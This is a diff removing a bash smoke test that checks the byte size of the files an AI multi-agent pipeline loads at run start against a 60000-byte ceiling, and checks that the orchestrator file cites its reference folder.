-# A budget nobody measures only moves one way, so this pins it. The ceiling is
-# the measured value plus a small margin: enough to add a paragraph, not enough
-# to move a chapter back in. Lowering it is always fine.
-#
-# Exit codes: 0=within budget, 1=over, 2=a tracked file is missing
-
-set -euo pipefail
-
-REPO_ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
-
-# The files loaded unconditionally at run start.
-TRACKED="
-pipeline/skills/shared/core/multi-agent/SKILL.md
-pipeline/multi-agent-refs/rules.md
-"
-
-# Measured 57289 after the split. 60000 leaves ~2.7 kB of headroom.
-CEILING=${CONTEXT_BUDGET_CEILING:-60000}
-
-PASS=0
-FAIL=0
-pass() { PASS=$((PASS + 1)); echo "  ✓ $1"; }
-fail() { FAIL=$((FAIL + 1)); echo "  ✗ $1"; }
-
-echo "→ 1. every tracked file exists"
-TOTAL=0
-for rel in $TRACKED; do
-  f="$REPO_ROOT/$rel"
-  if [ ! -f "$f" ]; then
-    echo "  ✗ missing: $rel"
-    echo "    a tracked file that vanished makes the budget meaningless"
-    exit 2
-  fi
-  n=$(wc -c < "$f" | tr -d ' ')
-  TOTAL=$((TOTAL + n))
-  pass "$rel ($n bytes)"
-done
-
-echo "→ 2. fixed per-run load is within budget"
-if [ "$TOTAL" -le "$CEILING" ]; then
-  pass "fixed load $TOTAL bytes, ceiling $CEILING"
-else
-  fail "fixed load $TOTAL bytes exceeds the $CEILING ceiling by $((TOTAL - CEILING))"
-  echo "    Move detail into multi-agent-refs/ and point at it, rather than"
-  echo "    raising the ceiling. Every byte here is paid by every run."
-fi
-
-echo "→ 3. the orchestrator points at the references instead of copying them"
-SKILL="$REPO_ROOT/pipeline/skills/shared/core/multi-agent/SKILL.md"
-REFS=$(grep -c "multi-agent-refs" "$SKILL" || true)
-if [ "$REFS" -ge 3 ]; then
-  pass "orchestrator cites multi-agent-refs $REFS times"
-else
-  fail "orchestrator cites multi-agent-refs only $REFS time(s)"
-  echo "    It carried zero citations while duplicating three of those files."
-fi
-
-echo ""
-echo "══ smoke-context-budget: $PASS passed, $FAIL failed ══"
-[ "$FAIL" -gt 0 ] && exit 1 || exit 0